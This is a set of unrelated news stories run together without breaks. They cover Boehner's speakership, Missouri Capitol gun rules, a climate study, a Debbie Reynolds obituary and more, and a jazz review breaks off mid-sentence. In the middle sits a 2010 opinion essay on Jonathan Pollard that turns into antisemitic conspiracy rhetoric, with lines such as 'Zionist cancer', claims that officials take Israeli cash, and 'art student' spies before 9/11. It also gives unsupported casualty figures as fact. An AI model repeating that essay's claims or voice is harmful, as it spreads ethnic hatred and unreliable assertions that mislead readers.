Authorities say a United Airlines plane was backing out of a gate Wednesday evening when it made contact with an Austrian Airlines plane, which was parked at another gate.
The incident comes a day after a United Airlines plane and a Lufthansa plane clipped wings while on the ground at Newark.
A spokeswoman for Chicago-based United said Tuesday that the United plane was at a stop when the empty Lufthansa plane made contact with it. A spokeswoman for Cologne, Germany-based Deutsche Lufthansa AG disputed that, saying its aircraft was parked when it was damaged.
No one was hurt in either incident.
They both remain under investigation.The Republican lawmaker who introduced a measure to oust Rep. John Boehner John Andrew BoehnerEx-GOP lawmaker joins marijuana trade group Crowley, Shuster moving to K Street On unilateral executive action, Mitch McConnell was right — in 2014 MORE (R-Ohio) as Speaker said Wednesday that the effort to get rid of him depends on his actions this fall.
In a sit-down interview with The Hill, Rep. Mark Meadows (R-N.C.) noted that there are many issues on the congressional agenda important to conservatives in the House. How Boehner John Andrew BoehnerEx-GOP lawmaker joins marijuana trade group Crowley, Shuster moving to K Street On unilateral executive action, Mitch McConnell was right — in 2014 MORE deals with the series of political landmines could very well determine whether a formal resolution to remove him hits the House floor.
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Meadows clarified that it wouldn’t be one particular issue, such as the Tea Party push to defund Planned Parenthood, that could trigger a vote to take down the three-term Speaker.
Rather, House conservatives will be closely watching how Boehner handles a number of issues, including Planned Parenthood, the fight to fund the federal government, preserving sequester budget caps, the Iran nuclear deal and a long-term highway bill.
“Really there is no line in the sand, no limited time on when or how [a vote to remove Boehner] would be done,” Meadows said in his Capitol Hill office. “Probably the best way to say that is there are three or four [factors], and they are all running on parallel tracks.”
Meadows, 56, became a hero to some on the right when, just before the congressional summer recess, he rolled out a resolution ripping Boehner’s leadership and calling for his ouster as Speaker. But because of the way Meadows introduced it, the measure was simply ignored by leaders and never got a vote.
The affable, clean-cut congressman from western North Carolina said forcing a vote was never his intention and that he just wanted to spur “real, open dialogue” about the Speaker during the long summer break.
But Meadows, a co-founder of a conservative bloc of House Republicans known as the Freedom Caucus, said he’s well aware that any lawmaker has the right to introduce a privileged motion to force a vote on his resolution on the House floor.
That means ardent Boehner foes, including Reps. Walter Jones (R-N.C.) or Louie Gohmert Louis (Louie) Buller GohmertTrump met with group led by Ginni Thomas at White House: report House passes bill expressing support for NATO The Memo: Trump veers between hard-liner, dealmaker on shutdown MORE (R-Texas), could call for a vote at any time.
“It’s just something that all 435 members have available to them,” said Meadows, noting that the last time such a motion occurred was 105 years ago, when then-Speaker Joseph Cannon (R-Ill.) introduced a “motion to vacate” the Speaker’s chair to prove he had the support of his conference.
Meadows has not spoken personally with Boehner since he introduced his resolution in late July, which he did without giving the Speaker any warning. But Meadows said he has been in touch with other members of Boehner’s leadership team and inner circle, and he’s done his best to convey that his fight with Boehner isn’t personal, despite some high-profile clashes this year.
At the start of the new Congress, Meadows personally met with Boehner to inform him he couldn’t support him for another term as Speaker. Meadows called that meeting “gut-wrenching,” saying that he felt empathy for Boehner, whom he described as a “sensitive guy.”
When Meadows defied Boehner on a major trade vote this summer, the Speaker’s close ally, Oversight Committee Chairman Jason Chaffetz Jason ChaffetzTop Utah paper knocks Chaffetz as he mulls run for governor: ‘His political career should be over’ Boehner working on memoir: report Former GOP lawmaker on death of 7-year-old migrant girl: Message should be ‘don't make this journey, it will kill you' MORE (R-Utah), responded in kind, stripping Meadows of his subcommittee gavel.
But after a revolt from Freedom Caucus members, Chaffetz reinstated Meadows as chairman.
“My M.O. is not to personally say anything derogatory about any of my colleagues … To question someone’s motives or to go after them personally is not something I believe is appropriate,” the congressman said.
“The tone and tenor of the debate is just as important as facts and policy.”
The second-term legislator, who has not yet endorsed a presidential candidate, said he has been contacted by 2016 White House hopefuls. Unlike other Boehner critics, Meadows doesn’t yearn for the spotlight. He’s not a bomb-thrower at all, choosing his words carefully.
Asked about comments that he himself has considered running for Speaker, Meadows replied: “To consider and to actually put yourself forward are two vastly different things.”
He’s thrown out the names of several colleagues who he said might make good Speakers, including Majority Leader Kevin McCarthy (R-Calif.), Rep. Michael McCaul (R-Texas) and Rep. Mike Conaway (R-Texas).
But Meadows predicted the next Speaker would not come from the ranks of the Freedom Caucus, led by Chairman Jim Jordan (R-Ohio), which is determined to pull the conference further to the right.
“I don’t see it being an ideological decision. For me, I don’t believe the next Speaker will be a Freedom Caucus member,” he said. “It could be someone from current leadership. … There’s at least a dozen or more people that would make a very good Speaker. I’m on record saying, ‘I don’t want the job.’ ”
Boehner has survived two coup attempts since he was first elected Speaker in 2011. Asked about the threat of another hanging over his head, Boehner shrugged it off Wednesday, arguing that he has “widespread support” in the GOP conference.
But Boehner opponents have a solid foundation if they decide to make a run at the veteran congressman. Twenty-five Republicans, including Meadows, are already on record; they opposed Boehner in a January floor vote.
And since then, other rank-and-file members have expressed anger over Boehner retaliating against those who have defied him.
“There are very few of us who have voted against the Speaker twice, and I am one of them,” Rep. Tim Huelskamp (R-Kan.), another Freedom Caucus member, told The Hill. “Nothing has changed to suggest he’s earned my vote.”
Any attempt to remove Boehner this Congress would need the backing of members from both parties, and House Democrats said earlier this year they wouldn’t vote to remove Boehner.
Liberal Rep. Raúl Grijalva (D-Ariz.) told The Hill in March that replacing Boehner could lead to a worse situation.
“Then we would get Scalise or somebody? Geez, come on,” said Grijalva, referring to House Majority Whip Steve Scalise (R-La.). “We can be suicidal but not stupid.”
Some have suggested conservatives could team up with Democrats to elect a new Speaker, but Democratic leaders aren’t eager to set a new precedent that could harm them when they win back the majority.
“The Republican Party is a deeply divided party,” Minority Whip Steny Hoyer (D-Md.) said when asked about a possible vote to oust Boehner. “But we’re not going to react to it until, you know, until something happens. It’s pretty much a Republican fight, and they’re going to fight about it among their ranks, and we’ll see what happens.”
Regardless, a vote to take Boehner’s gavel would attract headlines and could be embarrassing for the Ohio Republican. It would also likely lead 2016 presidential candidates to weigh in.
Meadows said he has seen some progress in the few days Congress has been back in Washington, saying his resolution bore “fruit.” GOP leaders on Wednesday postponed a procedural vote on a measure rejecting the Iran nuclear agreement and called an emergency meeting with members to discuss their concerns.
“This is the most important vote any of us will take during our careers here on Capitol Hill. That’s some of the fruit that has come out of that,” he said.
Meadows played a role in the 2013 government shutdown that resulted from the GOP’s efforts to defund ObamaCare, something he later said he regretted. Yet, he says Republicans shouldn’t cave in this year’s fight to halt federal funding for Planned Parenthood.
“I don’t think any of us want a shutdown, but to suggest there is zero leverage is very hard for any of us to accept,” Meadows said. “So it’s a matter of finding the right leverage.”New security measures at Missouri’s state Capitol that prevent members of the public from bringing in firearms have one lawmaker so upset that he is offering to loan his own weapons to visitors.
The new rules require visitors to go through metal detectors and put their belongings through X-ray machines. Signs posted at every entry warn visitors that firearms are not permitted inside the Capitol.
To State Rep. Nick Marshall (R), the rules smack of tyranny.
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“This is not Freedom and Liberty! This is not how citizens should be greeted when entering The People’s House, their Missouri State Capitol,” Marshall wrote on his Facebook page this week.
“I will do everything in my power to reverse this sad and troubling new policy that was NOT authorized by the General Assembly.”
Marshall has posted a sign on his office door offering to loan guns to constituents who have a valid concealed carry permit while they visit the Capitol.
“Effective immediately, any constituent of mine with a CCW that was not allowed to bring his firearm into the Capitol may stop by my office and borrow one for the duration of the visit,” Marshall wrote in a second Facebook post.
State law allows members of the legislature and their staffs to carry concealed firearms, provided they have a permit, the Kansas City Star reported. The law allows state government to bar weapons from public buildings.
The new ban on weapons came from Gov. Eric Greitens (R), whose office requested stricter security at the Capitol, the Star reported.
Missouri is the latest state to require visitors to pass through security screenings when entering its Capitol. About half of states screen visitors, either with X-ray machines or guards who use metal-detecting wands, according to data compiled by the National Conference of State Legislatures and Stateline.By Sharanya Gopinathan
Indrani Das. Photo courtesy Society for Science and the Public Twitter
What did you spend your time doing when you were a teenager? I spent most of my teenage years bunking classes and laying elaborate plans not to get caught, and for some reason also remember spending a lot of time as a mute spectator at basketball practice.
It’s a good thing all kids aren’t as aimless. Indrani Das, a 17-year-old Indian-American teen from New Jersey just won the top prize at America’s oldest and most prestigious high school science and math competition, the Regeneron Science Talent Search competition, which is known as the Junior Nobel Prize (12 of the people who won the contest have gone on to win actual Nobel Prizes).
Her project found a way of increasing the survival rate of neurons affected by injury or degenerative disease in the brain. According to PR NewsWire, “A contributor to neuron death is astrogliosis, a condition that occurs when cells called astrocytes react to injury by growing, dividing and reducing their uptake of glutamate, which in excess is toxic to neurons. In a laboratory model, she showed that exosomes isolated from astrocytes transfected with microRNA-124a both improved astrocyte uptake of glutamate and increased neuron survival.”
Yes, exactly.
Indrani also plays the piccolo trumpet in a jazz band, and mentors young(er) students in math and science. Another Indian-American teen, Archana Verma, won fifth place in the competition, for her research on windows that could produce solar power.
While I can barely complete the medium difficulty Sudoku, eight other Indian origin teens made it into the top forty of this prestigious competition. Phew.Past Century's Global Temperature Change Is Fastest On Record
toggle caption Oswald Heer/Science Source
There's plenty of evidence that the climate has warmed up over the past century, and climate scientists know this has happened throughout the history of the planet. But they want to know more about how this warming is different.
Now a research team says it has some new answers. It has put together a record of global temperatures going back to the end of the last ice age — about 11,000 years ago — when mammoths and saber-tooth cats roamed the planet. The study confirms that what we're seeing now is unprecedented.
What the researchers did is peer into the past. They read ice cores from polar regions that show what temperatures were like over hundreds of thousands of years. But those only reveal changes in those specific regions; cores aren't so good at depicting what happened to the whole planet. Tree rings give a more global record of temperatures, but only back about 2,000 years.
Shaun Marcott, a geologist at Oregon State University, says "global temperatures are warmer than about 75 percent of anything we've seen over the last 11,000 years or so." The other way to look at that is, 25 percent of the time since the last ice age, it's been warmer than now.
You might think, so what's to worry about? But Marcott says the record shows just how unusual our current warming is. "It's really the rates of change here that's amazing and atypical," he says. Essentially, it's warming up superfast.
Here's what happened. After the end of the ice age, the planet got warmer. Then, 5,000 years ago, it started to get cooler — but really slowly. In all, it cooled 1.3 degrees Fahrenheit, up until the last century or so. Then it flipped again — global average temperature shot up.
"Temperatures now have gone from that cold period to the warm period in just 100 years," Marcott says.
So it's taken just 100 years for the average temperature to change by 1.3 degrees, when it took 5,000 years to do that before.
The research team tracked temperature by studying chemicals in the shells of tiny, fossilized sea creatures called foraminifera. Their temperature record matches other techniques that look back 2,000 years, which supports the validity of their much longer record.
Climate scientists predict that the current warming will continue, given the amount of greenhouse gases going up into the atmosphere.
"The climate changes to come are going to be larger than anything that human civilization and agriculture has seen in its entire existence," says Gavin Schmidt, a climate researcher at NASA's Goddard Institute for Space Studies. "And that is quite a sobering thought."
The research appears in the journal Science.A Cornwall family is defying a city order to stop two kids from selling worms on their front lawn.
Clayton, 8, and Kristopher Cadieux, 10, started their business last summer, digging up worms and selling them as bait for $2.50 per dozen.
But after a complaint from a neighbour, the brothers received a note from the city saying they were breaking a bylaw and had to shut down their business.
The mayor of Cornwall, Leslie O'Shaughnessy, explained that the bylaw requires all personal business sales be conducted within the home, without outdoor signage.
"It's similar to most bylaws in most municipalities," O'Shaughnessy said. "Yard sales are the prime example. It's not a yard sale when you have them every day — it's home occupation, it becomes a business.
"So what the municipality did was restrict the number of yard sales you can have to two a year, so that all of a sudden, your district doesn't become a flea market from yard sales every week."
The city told the brothers to move their business inside their home, and to take down their signs on their front lawn.
Brothers will continue selling worms from front lawn
The brothers' father, Robert Cadieux, said the family will protest the bylaw and continue with the home-run bait shop despite the $240 daily fine.
"We were livid. Like, God! How could this be? They're two little kids, eight and 10, selling worms," he said.
"They're not going to have pay the fine," Cadieux added. "I am! Because I'm the daddy, and it's daddy's house. But I'm willing to do that for my kids."
Kristopher said the worm enterprise only brought in about $34 a month last summer, and he doesn't understand why he and his brother are being told they can't sell worms from their front lawn.
"I didn't feel too good about that," he said. "I thought at least we're doing something. Most of my friends play video games. I'm building responsibilities."
City councillor Justin Towndale said he thinks the bylaw has gone too far and he intends to raise the issue at the next council meeting.
"The bylaw is there to prevent businesses in residential areas and also stop illegal businesses," he said. "But it's gone too far, because it's got kids caught up in its web. And that wasn't how it was intended to function."
The mayor doesn't agree that the bylaw needs rewriting.
"The fact that the population of the city of Cornwall is 47,000 and you would change a bylaw for one person, to me, is asinine," he said, adding that the incident has become a "black eye" for the city for enforcing a bylaw "that is strictly following the wishes of the people."
"You are allowed to [sell worms] in the confines of your home, with no signage," he said. "In other words, if people want to pick up worms, they knock on your door, you hand them the worms, they hand you the money, they leave.
"Not a problem, but then again you do have to comply with the bylaw and with the city of Cornwall."
Listen to the interview with Mayor Leslie O'Shaughnessy below:Image caption S&P said the EFSF could regain its AAA rating if it obtained additional guarantees
The credit ratings agency Standard & Poor's has downgraded the EU bailout fund to AA+ from AAA.
The European Financial Stability Facility's (EFSF) rating is based on the ratings of the countries that guarantee it.
S&P's downgrade of France and Austria on Friday meant there were not enough AAA rated guarantors for the fund to maintain its top rating.
The downgrade could affect the EFSF's ability to raise money cheaply.
S&P said the EFSF could regain its AAA rating if it obtained additional guarantees.
Alternatively, the fund could be endowed with less money, which would be better guaranteed.
The BBC's business editor Robert Peston says that, following the S&P downgrades, the bailout funds are endowed with what looks like a puddle or pond, rather than a great sea of money stretching beyond the horizon.
Most analysts fear the downgrade has put paid to hopes and ambitions for the size of bailout resources to be significantly boosted Read Robert's blog in full
Earlier in the day, another ratings agency, Moody's, said it would allow France to maintain its AAA rating for now, although it warned that the deterioration in France's debt position was "putting pressure" on the country's stable outlook.
S&P cut its ratings for France, Italy, Spain, Cyprus, Portugal, Austria, Slovakia, Slovenia and Malta late on Friday.
The idea of the EFSF was for countries with top credit ratings to borrow money cheaply that they could then lend on to countries that were struggling.
But Friday's downgrade took away two of its six AAA rated guarantors.
That will reduce the fund's AAA rated guarantees from 440bn euros ($557bn; £364bn) to about 260bn euros.
About 40bn euros of that is already going on the bailouts of the Irish Republic and Portugal with another 100bn euros likely to be needed for the second bailout of Greece.Review: Joshua Redman & The Bad Plus, 'The Bad Plus Joshua Redman'
toggle caption Courtesy of the artist
For the last two years, pianist Ethan Iverson has been at the center of what looks, in hindsight, like a serious creative whirlwind. He re-conceptualized Stravinsky's ballet The Rite Of Spring in its entirety (!) for his trio The Bad Plus, and then, for good measure, recorded an album of all-original Bad Plus music (Inevitable Western). He recorded two crisply swinging trio albums with the drummer and jazz elder Albert "Tootie" Heath. He anchored the acclaimed quartet led by drummer Billy Hart (the group's 2014 release One Is The Other turned up on many best-of lists), and was part of another multi-generation group with pioneering saxophonist Lee Konitz. All while writing Do The Math, one of the most lucid, carefully reasoned blogs on contemporary music.
The work ethic is impressive, and arguably unique. But what makes Iverson extraordinary is the focused way he's managed these endeavors: He understands that each project has its own demands, aspirations and intended audience. He keeps things separate, drawing clear distinctions between his brainier compositional forays and his more reverential, sometimes scholarly investigations of jazz tradition. He does his serious innovating alongside bassist Reid Anderson and drummer Dave King in The Bad Plus, then gets his jazz on with the hot shots and legends who understand all his zany references and inside jokes.
This career strategy is tested on The Bad Plus Joshua Redman, a roaring and beautiful summit meeting that has no precedent in Iverson's discography. The first thing to know about it: Though Redman is among the most accomplished living practitioners of the jazz tenor saxophone, and can be counted on to shred on demand in a small group context, this is not a jazz date.
Instead, it's a series of knotty, deeply challenging compositions that explore (and usually exhaust) groove frontiers far from the spang-a-lang swing and the businessman's bounce. The rhythmic language here derives from rock and contemporary music, as well as the open, beautifully textural questing associated with the European avant-garde and certain strains of electronic music. The result: pulses that have an undeniable future-forward energy running through them. There's a spry, Aaron Copland-esque fantasy on rural Americana ("County Seat") and a haunting through-composed piece called "Beauty Has It Hard" that sounds, at times, as if Iverson has four hands going on the keyboard. And there's a wistful elegy |
the deficit — though this may prove counterproductive, given the Liberals’ best hope of returning to balance by 2019 is from stimulus-induced economic growth.
One thing is clear — if the government is going to tackle its problems successfully, it needs to get its love life with the public service back on track.
Now the nerve transmitters have stopped tingling, expectations will have to be tempered on both sides if a more mature relationship is going to evolve.
jivison@nationalpost.com
National Post
Twitter.com/IvisonJAs an indicator that the state of the American union is showing signs of serious disrepair, Israel and her supporters’ continued constant shrieking for the release of the most notorious and dangerous spy ever to wage war against America–Jonathon Pollard– has resulted in no measurable blowback from the same U.S. citizens who were/are so grievously malaffected.
Pollard, born to a Jewish family who later came to work for U.S. Naval Intelligence, offered his service to Israeli in the mid-1980’s and, despite his oath never to betray the land of his birth, America, over the course of 18 months transferred to the Jewish state over 1 million highly-sensitive documents classified SCI–Secret Compartmented Information. Of the more sensitive information contained in these documents were included technical details of America’s satellite early-warning system used in detecting a possible nuclear attack, information detailing the mechanics of America’s nuclear weapons protocol, sites in the U.S.S.R. considered high-value military targets, as well as the names of thousands of U.S. intelligence agents/assets serving behind the Iron Curtain.
As a result of Pollard’s treason, not only were America’s methods and sources of acquiring/maintaining her National Security secrets compromised, but as well over 1,000 intelligence agents were caught by the Soviets and executed. The reason the Soviets became a factor in this disaster was because Israel–America’s only “ally” in the Middle East and recipient of as much as $30 million a day in direct U.S. aid, traded the highly-sensitive information in return for increased Jewish emigration to Israel from the U.S.S.R..
Despite all this–the espionage equivalent of a nuclear weapon being detonated in the U.S. intelligence community, Israel (and more specifically, current Prime Minister Benjamin Netanyahu) make it a part of their regular demands that Pollard be released from his prison cell in Butner, North Carolina. The U.S. intelligence community has time and again made it clear that Pollard’s release would pose a clear and present danger to the national security of the nation, given the fact he still possesses information that if released could do America continued and serious harm. During the Wye River negotiations between Israel and the Palestinians, then-president Clinton–toying with the idea of releasing Pollard to Netanyahu in return for concession in the peace talks, was prevented from doing so only by the threatened resignation of then-CIA George Tenet.
Now, in a move that should scare the living daylights out of every American concerned with the physical safety of their beloved nation, there is a growing number of elected members of Congress pushing for Pollard to be released. Besides those elected to serve the best interests of the American people in Congress, there is also a similar push from persons no less in stature than former CIA director James Woolsey and Vice President Joe Biden.
What would transpire were Pollard to be released is no mystery to anyone, including his treasonous benefactors. Before the soles of his shoes had gotten dusty in the prison’s parking lot he would be boarded on a non-stop El Al flight to Israel where he would then be drained dry of all U.S. national security secrets he continues to hold in his intellectual tank.
Yet, justifying their position with meaningless words such as “mercy” and “paid his debt to society”, these treasonous elements pushing for his freedom have made it clear that they care nothing about the national security of the U.S. and are more interested in the bags of cash they receive from Israel by doing so. What’s worse is that those law enforcement and intelligence agencies tasked with protecting the people of the United States from all enemies, foreign and domestic, refuse to even speak out openly against those who have made known their sympathy for the devil in what is clearly an act of treason against America.
Putting all these calls for Pollard’s release in context and in the interests of making clear what kind of damage Pollard inflicted on the physical well-being of every man, woman and child in the United States, let the reader consider portions of the statement prepared by then Defense Secretary Caspar Weinberger before Pollard’s sentencing–
“I am Caspar W. Weinberger, Secretary of Defense. I offer this declaration to make known to the Court additional facts which have been brought to my attention. It is difficult for me, even in the so-called “year of the spy,” to conceive of greater harm to national security than that caused by the defendant in view of the breadth, the critical importance to the U.S., and the high sensitivity of the information he sold to Israel. That information was intentionally reserved by the United States for its own use, because to disclose it, to anyone or any nation, would cause the greatest harm to our national security. Our decisions to withhold and preserve certain intelligence information, and the sources and methods of its acquisition, either in total or in part, are taken with great care, as part of a plan for national defense and foreign policy which has been consistently applied throughout many administrations. The defendant took it upon himself unilaterally to reverse those policies. In so doing, he both damaged and destroyed policies and national assets which have taken many years, great effort and enormous national resources to secure. Moreover, in light of the defendant’s continued disclosures of sensitive information for publication by the press, there is ample cause to believe that Pollard will continue to divulge classified national defense information without restraint.
I respectfully submit that any U.S. citizen, and in particular a trusted government official, who sells U.S. secrets to any foreign nation should not be punished merely as a common criminal. Rather, the punishment imposed should reflect the perfidy of the individual’s actions, the magnitude of the treason committed, and the needs of national security. It is also relevant that Pollard has recently analogized himself to an Israeli pilot shot down behind enemy lines, and has stated his hope that he will yet be able to immigrate to Israel. Whatever else his analogy suggests, it clearly indicates that his loyalty to Israel transcends his loyalty to the United States…I believe that there can be no doubt that he can, and will, continue to disclose U.S. secrets without regard to the impact it may have on U.S. national defense or foreign policy. Only a period of incarceration commensurate with the enduring quality of the national defense information he can yet impart, will provide a measure of protection against further damage to the national security…”
All of this isn’t to say however that “all is lost” and that there isn’t some serious kvetching taking place amongst “concerned” people looking out for the welfare of American National Security. In the midst of a sea of AIPAC subterfuge, the call for Pollard’s release on the part of America’s elected officials and a new eruption of Israeli spies posing as “art students” slithering around the new NSA facility being built in Utah (as occurred immediately prior to the terrorist attacks of 9/11) the House of Representatives is busy these days holding hearings on the dangers Youtube–the internet video hosting site–poses to the national security of the United States. Brad Sherman, Jewish Congressman from California and chairman of the Subcommittee on Terrorism, Nonproliferation and Trade, recently wrung his hands publicly over the fact that “jihadists” are posting videos of themselves holding guns and engaging in half-assed military maneuvers tens of thousands of miles away. Quoted in a recent news piece, Sherman said that “I don’t know how much money YouTube makes, how much its executives make, but they are endangering people throughout America for their own profit.”
In the meantime, Jewish paramilitary groups (a fancy word for “militias” that all regularly hear about in shrill, shrieking tones from Zionist groups such as the ADL and SPLC) being trained by current and former members of Israel’s IDF are running around in America’s forests with semi-automatic weapons and preparing for the “mother of all battles” against Islam. As of the moment of this writing there has not been movement of a single eyelash or flutter of heart from any law enforcement agency or elected official as the Zionist cancer destroying the well-being of the state of this union continues unabated.
© 2010 Mark Glenn
nomorewarsforisrael@gmail.com
http://theuglytruth.podbean.com
http://www.poweroftruthradio.com
Please check out the brand new book detailing Israel’s deliberate attack on the USS LIBERTY here(CNN) Two days. Two deaths of iconic Hollywood actresses who were also mother and daughter.
Debbie Reynolds died Wednesday at 84, one day after daughter Carrie Fisher's death.
It's unclear why Reynolds died -- she had complained of breathing problems, an unnamed sourced told the Los Angeles Times -- but she was reeling emotionally from losing her daughter, who was 60.
"She spoke to me this morning and said she missed Carrie," said Reynolds' son Todd Fisher. "She's with Carrie now. Reynolds' long career in entertainment
In late November in an interview on WHYY's "Fresh Air," host Terry Gross spoke with Fisher about her mother.
Though famous, the two went through the same evolution that many moms and daughters experience -- it can be feisty during the teenage years, and maybe into a daughter's early 20s, but as the child ages, she begins to appreciate the wisdom, power and experience of the woman who, despite obstacles, raised her, lived as an example to her, loved her without condition.
"I could appreciate -- she's an immensely powerful woman. And I just admire my mother very much. She also annoys me sometimes when she's, you know, mad at the nurses," Fisher said, referring to a time years ago when Reynolds was ill. "But, you know, she's an extraordinary woman, extraordinary.
"There are very few women from her generation who worked like that, who just kept a career going all her life and raised children and had horrible relationships and lost all her money and got it back again. I mean, she's had an amazing life, and she's someone to admire."
Gross asked if Fisher admired her mother's strength and accomplishments as Fisher got older.
"Oh, God, yeah. No, when I was a kid, I just thought she was someone who was telling me what to do. And I didn't want to do it."
A Hollywood triple threat
Photos: Life and career of Debbie Reynolds Actress Debbie Reynolds poses for a portrait in New York on October 14, 2011. Hide Caption 1 of 24 Photos: Life and career of Debbie Reynolds Reynolds was a proud member of the Girl Scouts. At the time of this photo, at age 17, she had earned 42 out of a possible 100 badges in eight years of scouting. Hide Caption 2 of 24 Photos: Life and career of Debbie Reynolds Reynolds starred with Gene Kelly in 1952's "Singin' in the Rain." When the movie started production, Reynolds didn't know how to dance and was taught by Kelly, also the choreographer of the film. Hide Caption 3 of 24 Photos: Life and career of Debbie Reynolds Debbie Reynolds and Gower Champion dancing in a scene from the 1953 film "Give A Girl A Break." Hide Caption 4 of 24 Photos: Life and career of Debbie Reynolds Debbie Reynolds and Eddie Fisher were married in 1955 and divorced in 1959. The couple had two children: Carrie, born in 1956, and Todd, born in 1958. Hide Caption 5 of 24 Photos: Life and career of Debbie Reynolds Reynolds and Fisher co-starred in "Bundle of Joy," RKO's 1956 Technicolor comedy. Hide Caption 6 of 24 Photos: Life and career of Debbie Reynolds A family portrait of Fisher, Reynolds and daughter Carrie, circa 1957. Hide Caption 7 of 24 Photos: Life and career of Debbie Reynolds A family portrait with Debbie holding Todd and father Eddie holding Carrie. Hide Caption 8 of 24 Photos: Life and career of Debbie Reynolds Fisher with Reynolds and Elizabeth Taylor in Las Vegas in 1958. The next year Fisher left Reynolds and married Taylor. Hide Caption 9 of 24 Photos: Life and career of Debbie Reynolds Reynolds holds her two children, Carrie and Todd, right, during the shooting of 1959's "The Mating Game." Hide Caption 10 of 24 Photos: Life and career of Debbie Reynolds Reynolds and Harry Karl attend an event in Los Angeles in 1962. Hide Caption 11 of 24 Photos: Life and career of Debbie Reynolds Hermione Baddeley points her finger at Reynolds as Harve Presnell and Ed Begley watch during a scene from the 1964 film "The Unsinkable Molly Brown." Reynolds was nominated for an Academy Award for Best Actress for the role. Hide Caption 12 of 24 Photos: Life and career of Debbie Reynolds Reynolds with her daughter Carrie Fisher in 1972. Hide Caption 13 of 24 Photos: Life and career of Debbie Reynolds Reynolds makes her first appearance on Broadway in 1973, opening in a remake of the 1919 musical "Irene." Carrie Fisher, seated on floor, also appeared in the musical at age 16. Hide Caption 14 of 24 Photos: Life and career of Debbie Reynolds Reynolds appears in an episode of "The Love Boat" with Gavin MacLeod in 1980. Hide Caption 15 of 24 Photos: Life and career of Debbie Reynolds Reynolds on stage for for a curtain call after a performance of "Woman of the Year" at New York's Palace Theatre in 1983. Hide Caption 16 of 24 Photos: Life and career of Debbie Reynolds Reynolds with Todd and Carrie Fisher at the Thalians Ball in 1985. Reynolds was involved with the Thalians, a group of entertainment professionals who support mental health issues, from the 1950s. Hide Caption 17 of 24 Photos: Life and career of Debbie Reynolds Reynolds appears with Bea Arthur in an episode of "The Golden Girls" in 1991. Hide Caption 18 of 24 Photos: Life and career of Debbie Reynolds Debbie Reynolds in 2001 at the site of the new Hollywood Motion Picture Collection, where her $30 million motion picture costume collection would be housed. Hide Caption 19 of 24 Photos: Life and career of Debbie Reynolds Reynolds poses with her second star on the Hollywood Walk of Fame on January 13, 1997. Hide Caption 20 of 24 Photos: Life and career of Debbie Reynolds Reynold's appears in an episode of "Will & Grace" in 1999 with Debra Messing. Reynolds played the recurring character of Bobbi Adler, mother to Messing's Grace Adler. Hide Caption 21 of 24 Photos: Life and career of Debbie Reynolds Reynolds takes part in the ribbon cutting at the opening of of the Casino Club at The Greenbrier on July 2, 2010, in White Sulphur Springs, West Virginia, with West Virginia Gov. Joe Manchin; Greenbrier owner and chairman Jim Justice; Brooke Shields; Kathy Justice; and singer Jessica Simpson. Hide Caption 22 of 24 Photos: Life and career of Debbie Reynolds Reynolds poses before the auction of her massive collection of memorabilia from classic movies in 2011. Reynolds is siting on the throne from the 1955 movie "Virgin Queen" with a dress worn by Bette Davis, right, and Joan Collins, left. Hide Caption 23 of 24 Photos: Life and career of Debbie Reynolds Reynolds poses with daughter Carrie Fisher after receiving the Screen Actors Guild Life Achievement Award on January 25, 2015, in Los Angeles. Hide Caption 24 of 24
Reynolds was one of Hollywood's biggest stars in the 1950s and 1960s. Born Mary Frances Reynolds, she was a bubbly singer, dancer and actress who starred in "Singin' in the Rain" and "The Unsinkable Molly Brown."
Gross asked Fisher in November what it was like being raised by a famous mother.
"Well, I had to share her, and I didn't like that. When we went out, people sort of walked over me to get her. And, no, I didn't like it. I didn't like it. And I -- you know, people thought that -- I overheard someone saying, well, she thinks she's so great because she's Debbie Reynolds' daughter," Fisher answered. "And I didn't like it. It made me different from other people, and I wanted to be the same. I wanted to be, you know, just no different than anybody else."
About "Singin' in the Rain," Fisher said she "always liked it."
"It's brilliant," she told Gross. "I mean, to do the transition from sound -- from silent to sound is a brilliant, brilliant time to focus on. And what was interesting to me is that there's three people acting in the movie then. It's two men and a female. And it's the same with 'Star Wars.' And both movies were sort of, you know, iconic at the -- well, they did the AFI 10 top films, and one was 'Singing In The Rain' and one was 'Star Wars.'"
Fisher, whose grit and wit made "Star Wars'" Princess Leia an iconic and beloved figure to millions of moviegoers suffered a cardiac event on a flight from London to Los Angeles and died days later.
'She was so respectful and caring'
Reynolds' publicist Ed Lozzi spoke lovingly of her this week, saying that despite her star power, she treated everyone with respect.
"The people that worked for her... she was just so respectful and caring and thoughtful to her publicists and her agents," Lozzi told CNN. "A lot of stars we worked for were not. She was special that way."
Reynolds' film career began after being spotted in a beauty pageant at age 16. She became famous when she was picked to co-star with Gene Kelly and Donald O'Connor in "Singin' in the Rain," one of Hollywood's best-known musicals.
She married, then famously divorced, singing sensation Eddie Fisher, who left Reynolds for Elizabeth Taylor in 1959.
"I have no regrets about my career. I'm just thrilled I've had it," she told CNN's Larry King in 1990. "You know, it stood by me. Marriages failed; my career always stayed. It gave me the fun of life, you know. It allowed me to travel and meet wonderful, funny people."
On Wednesday, King tweeted: "Debbie Reynolds was pure class. She was loving, talented, beautiful, unsinkable. I feel sorry for anyone who never got a chance to meet her."
Debbie Reynolds was pure class. She was loving, talented, beautiful, unsinkable. I feel sorry for anyone who never got a chance to meet her. pic.twitter.com/XrIDFuLfYU — Larry King (@kingsthings) December 29, 2016
Though she stepped away from film for much of her career, Reynolds continued to entertain on Broadway stages and in Las Vegas nightclubs. She also appeared on many television shows, including one of her own -- "The Debbie Reynolds Show" -- that lasted just one season.
Actress Ruta Lee, a longtime friend of Reynolds, told CNN affiliate KABC that Reynolds used her celebrity to help others.
"I was blessed by the almighty in having this wonderful sister who taught me so much in life," she said. "Debbie was without a doubt one of the most generous, wonderful, loving human beings that God put on this Earth."Costa Rican's and the country's media have been celebrating the continuation of their idol, Keylor Navas at Real Madrid. They feel that it was always the goalkeeper’s dream to triumph in the Spanish league. It’s felt that the current board do not reflect Real Madrid’s proud history and it’s deemed that the campaign which has played out all Summer long was an impulse that would see Navas be sacrificed as the innocent party. Stories being reported in local Costa Rican media hold no malice or recrimination towards David de Gea. They feel that the 24 year old goalkeeper was merely anxious to advance with his footballing career in looking for a return to his native Spain. Van Gaal gets his way in the end, United taunt Madrid and Keylor, and probably even Iker enjoy the outcome.
The story surrounding the failed move of David de Gea to Madrid which sees Navas remain at Madrid is the lead story on Costa Rican media outlets such as Al Día and La Nacíon where it is the lead story and the article features at the top of their ‘most read stories’ ranking.The headquarters of Germany's foreign intelligence service, the Bundesnachrichtendienst or BND, are still under construction in Berlin (April 27)
